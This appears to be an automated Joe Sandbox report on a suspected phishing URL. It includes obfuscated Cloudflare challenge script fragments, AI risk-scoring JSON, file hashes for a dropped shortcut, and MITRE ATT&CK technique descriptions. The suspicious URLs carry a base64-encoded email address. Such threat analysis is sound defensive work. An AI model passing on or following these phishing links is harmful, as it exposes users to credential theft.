374))/5+-parseInt(gI(941))/6+parseInt(gI(1164))/7(-parseInt(gI(1498))/8)+parseInt(gI(1307))/9*(parseInt(gI(802))/10),f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,205375),eM=this\|\|self,eN=eM[gJ(584)],eM[gJ(272)]=function(c,gT,e){e=(gT=gJ,{'Lonlm':function(g,h){return g(h)}});try{return eQ(c)}catch(g){return e[gT(1352)](eO,eP(c))}},eR=[],eS=0;256>eS;eR[eS]=String[gJ(527)](eS),eS++);eT=(0,eval)(gJ(171)),eU=atob(gJ(755)),fk={},fk[gJ(1139)]='o',fk[gJ(880)]='s',fk[gJ(330)]='u',fk[gJ(867)]='z',fk[gJ(1237)]='n',fk[gJ(505)]='I',fk[gJ(1004)]='b',fl=fk,eM[gJ(747)]=function(h,i,j,o,hy,s,x,C,D,E,F,G,H,J){if(hy=gJ,s={},s[hy(626)]=function(I,J){return I===J},s[hy(1410)]=hy(348),s[hy(213)]=function(I,J){return I<J},s[hy(877)]=function(I,J){return J===I},s[hy(967)]=function(I,J){return I+J},x=s,null===i\|\|x[hy(626)](void 0,i))return o;for(C=fo(i),h[hy(1009)][hy(1305)]&&(C=C[hy(1364)](h[hy(1009)][hy(1305)](i))),C=h[hy(655)][hy(212)]&&h[hy(540)]?h[hy(655)][hy(212)](new h[(hy(540))](C)):function(I,hA,J){for(hA=hy,I[hA(1110)](),J=0;J<I[hA(1255)];x[hA(626)](I[J],I[J+1])?I[hA(930)](J+1,1):J+=1);return I}(C),D='nAsAaAb'.split('A'),D=D[hy(1198)][hy(1278)](D),E=0;x[hy(213)](E,C[hy(1255)]);F=C[E],G=fn(h,i,F),D(G)?hy(469)===hy(469)?(H=G==='s'&&!h[hy(651)](i[F]),x[hy(877)](hy(1149),j+F)?B(j+F,G):H\|\|B(x[hy(967)](j,F),i[F])):B[x[hy(1410)]]&&(J={},J[hy(1006)]=hy(1163),J[hy(1302)]=j[hy(937)][hy(8
URL: https://challenges.cloudflare.com/turnstile/v0/b/7... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several behaviors that raise moderate security concerns. While it does not contain any clear indicators of malicious intent, the use of dynamic code execution, external data transmission, and aggressive DOM manipulation warrant further review. Additionally, the presence of obfuscated code and the use of multiple fallback domains increase the overall risk profile of the script. Overall, this script requires closer inspection to determine its true purpose and potential impact on user security and privacy." }
"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Sr(Object(r)).forEach(function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(r,n))}),e}function jt(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0);}catch(l){u=!0,h=l}finally{try{!c&&n.return!=null&&n.return()}finally{if(u)throw h}}return o}}function zt(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function at(e,r){(r==null\|\|r>e.length)&&(r=e.length);for(var n=0,o=new Array(r);n<r;n++)o[n]=e[n];return o}function Gt(e,r){if(e){if(typeof e=="string")return at(e,r);var n=Object.prototype.toString.call(e).slice(8,-1);if(n==="Object"&&e.constructor&&(n=e.constructor.name),n==="Map"\|\|n==="Set")return Array.from(n);if(n==="Arguments"\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0]&1)throw u[1];return u[1]},trys:[],ops:[]},o,c,u,g;return g={next:h(0),throw:h(1),return:h(2)},typeof Symbol=="function"&&(g[Symbol.iterator]=function(){return this}),g;function h(p){return function(E){return l([p,E])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.value]),p[0]){case 0:case 1:u=p;break;case 4:return n.label++,{value:p[1],done:!1};case 5:n.label++,c=p[1],p=[0];continue;case 7:p=n.ops.pop(),n.trys.pop();continue;default:if(u=n.trys,!(u=u.length>0&&u[u.length-1])&&(p[0]===6\|\|p[0]===2)){n=0;continue}if(p[0]===3&&(!u\|\|p[1]>u[0]&&p[1]<u[3])){n.label=p[1];break}if(p[0]===6&&n.label<u[1]){n.label=u[1],u=p;break}if(u&&n.label<u[2]){n.label=u[2],n.ops.push(p);break}u[2]&&n.ops.pop(),n.trys.pop();continue}p=r.call(e,n)}catch(E){p=[6,E],c=0}finally{o=u=0}if(p[0]&5)throw p[1];return{value:p[0]?p[1]:void 0,done:!0}}}var Xt={code:200500,internalRepr:"iframe_load_err",public:!0,retryable:!1,description:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(j\|\|(j={}));var L;(fun
URL: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY29t Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY29t Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet appears to be a Cloudflare challenge script, which is a common security mechanism used to protect websites from abuse. While the script contains some behaviors that could be considered moderate-risk, such as external data transmission and the use of fallback domains, the overall context suggests this is a legitimate security measure rather than a malicious script. The script's purpose is to handle the Cloudflare challenge and refresh the page when necessary, which is a common and expected behavior for such challenges. Therefore, the risk score is assessed as medium (4) due to the potentially aggressive DOM manipulation and use of fallback domains, but the script's purpose and integration with a trusted platform like Cloudflare mitigate the overall risk." }
(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: 'xft9n', chlApiSitekey: '0x4AAAAAAA1P_JrhPaLt9lz7', chlApiMode: 'managed', chlApiSize: 'normal', chlApiRcV: 'jPwnbJry_nUFW3KZKC8N.8_QS8vAD.eup2TRMrovR5k-1734452884-1.3.1.1-kETMYtm1A6KQ_fUIDAC7YebdWlvfbty5E36X3OP1Gok', chlApiTimeoutEncountered: 0, chlApiOverrunBudgetMs:10000, chlTimeoutMs:120000, cK:[], cType: 'chl_api_m', cRay: '8f3848bd0f85ac48', cH: 'oIEMu6qdWXnGlv8eEPsBXnaz8eFBE2Owd5rrswd_B44-1734452884-1.1.1.1-VkIHHsOYbxEh3IBH4vb8KkhBzTV3aJ1zVkWn5oC5P0A0MtKXHBvOfW5o53Ai72L1', cFPWv: 'b', cLt: 'n', chlApiFailureFeedbackEnabled:true, chlApiLoopFeedbackEnabled:false, wOL:false, wT: 'auto', wS: 'normal', md: '1kjbNbgiCbMH_QwLAFl2Y0la2SHQr1PVbvxchIUlK8c-1734452884-1.1.1.1-CoP1ca_UD_IZ53DOGXc8BLl5LvVjnk3.UoW7sWUNlC3lFSGCajjriaxUsKiUrtqu7lD3OViUphlikRoR_EqEhneJyBKTLciWRYo2DimwifuGAOG6ycsA9GmBFHwaqpfKgT1w9zO7EV3GaC8pEEHY31vOsfz7mGFOUr49jjkeJ9bKPOXT7TSpWytsHXmOMsvkdjsruU.y8n_HX08_9K.dVk3_vGWpy5KkqZpxga.w_xIgJIcwvidO8WGCEeI8WBt9_YkFP9T_9IGOX8L1dry5qPv37VrVXhuKA_oejAX9XZC6KyTnlljSIJH2KMCYFXP_.jK6JLP6hXLAvpaTrc_HzhXp6Cubb4aEaQi954GKmWoyEjGrfu8JtebrccZDI3sZaYq0nNsfo4.bxQ5Xpo5JRrU_K3aOEJABWTFYUe3fE3WgpsVCaE_htzxgHlH3Z4yukRO9rEXLgFJFLRnJCrPZVZQf6kr45XxgxAYXJKD3QOmQ2e8oKbQbkHQYTsk7Rjn3Lp2_bzrc3qZtzo4vR5bvo8xXKmftPnKIeG5tkSvbU6JxTjy58E83tXovB.OoznP5UUt5TD2SZ6lfRNi29CdGgljGankF5vB6gpDqFz2kdjWHbgL1W0um1e2.UhJql7zps45kTYTuMNP6Eb9D1lC_cuPP5olkMTcAChAX9InIBuLLn04mg7DZgv3l8hBRmWWRZ0ybJ2LMAPl4rZGnxNXCfc4hrxxfnLkwT3M3Cu8uLK5DTEknjEUMGkoH2othkAU_UQ9Nx7li.YTMC9_LlAmPspJfY8iZwLORSCIq.JsC_kQqrgQ2d_wbBYQGIoiUBKahsMiXJNXwUvcbjbCvIeJM2FBQV2sfY__9TcWggYiWc5dgk2eegzQnu3bBEqPmtyv6upIDMSr2PIdtEQOTLH0cQQMkrMb0pbb45IyDJVs.9DYSaCGBkkoAiypauIymh7yoJHXTCr10eKMPGCE3OXynBwGo868qFVOeFR24LvrhMBmOg59_5ydRU3tSdV_gDzDw2TPDDG8.MXTU_6HK1LH.6OVFh_hR9bE3xb_kaoA9MsOQinx8GrIUejR8uD0X3DeOFamdsHglzwG.3wFtD5NT0ioTuowqLEY9_ce_Dm_bQqXr2whFn2RB_9desydpxkML3mxHagIKTqpdf85uo1Sfd0p7vw1r7QjJGlaKB4fY_Ni92aHSfqWI9kT67rV8v50h5XcjENKMC8qpixgs.kyByGXtpfzTtmY0NR8TdkNV12lnRoqQLdlVcmBSOKV5VBH_.SclqjOKFKpylQtMelikostFH7WdZiSoHjTMQeIIZAe4WdKXJc_J76baNQf0QPShrIev0ANgX1NOEcZuje9aryoJsN_Be5scDuWrqg7L47Fl4egYdiT0fQcR4hskLkcwIuutl.6X9YFANIl_LnTQSw', cITimeS: '1734452884', refresh: function(){ if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: 'xft9n', nextRcV: 'jPwnbJry_nUFW3KZKC8N.8_QS8vAD.eup2TRMrovR5k-1734452884-1.3.1.1-kETMYtm1A6KQ_fUIDAC7YebdWlvfbty5E36X3OP1Gok', event: 'reloadRequest', }, "*"); } } }; var handler = function(event) { var e = event.data; if (e.source &
URL: https://cia.vomivor.ru Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true }
URL: https://cia.vomivor.ru
URL: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY29t Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY29t Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY29t Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY29t Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://www.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.microsoft.com

Name	Malicious	Antivirus Detection	Reputation
https://www.yuxingketang.com/collections/throw-blankets/#aHR0cHM6Ly9jSUEudm9taXZvci5ydS9Td1dIay8=/%23dGVzbGFAdGVzbGEuY29t	false		unknown
https://cia.vomivor.ru/SwWHk/%23dGVzbGFAdGVzbGEuY29t	false		unknown

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 15:27:37 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9871777365918226
Encrypted:	false
SSDEEP:
MD5:	B8909EBCE914129C893E8E30784C68C4
SHA1:	5251BDCBA4042DE29CA61CCAACDD3C6DBDC7C984
SHA-256:	DDE02F7C8105A9B9AA2D850FFB47892CA64C2E674252483F7BC3FEACC55F9C6B
SHA-512:	6FDBFF0E035CE003EB2DF75D9301602384399599C6AC398FEB0C63CFA1BC48F6FAC62B40713F6B12F6FEECC85FA7EA614FB4DB2827C5C333FC72839234E08CBB
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....We.P......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Yi.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yq.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Yq.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Yq............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ys............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............^.M.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 196

Chrome Cache Entry: 198

Chrome Cache Entry: 199

Chrome Cache Entry: 202

Chrome Cache Entry: 204

Chrome Cache Entry: 206

Chrome Cache Entry: 207

Chrome Cache Entry: 208

Chrome Cache Entry: 209

Chrome Cache Entry: 211

Chrome Cache Entry: 212

Chrome Cache Entry: 214

Chrome Cache Entry: 215

Chrome Cache Entry: 216

Chrome Cache Entry: 217

Chrome Cache Entry: 219

Chrome Cache Entry: 220

Chrome Cache Entry: 221

Chrome Cache Entry: 225

Chrome Cache Entry: 226

Chrome Cache Entry: 227

Chrome Cache Entry: 228

Chrome Cache Entry: 229

Chrome Cache Entry: 232

Chrome Cache Entry: 236

Chrome Cache Entry: 237

Chrome Cache Entry: 239

Chrome Cache Entry: 241

Chrome Cache Entry: 242

Chrome Cache Entry: 244

Chrome Cache Entry: 245

Chrome Cache Entry: 246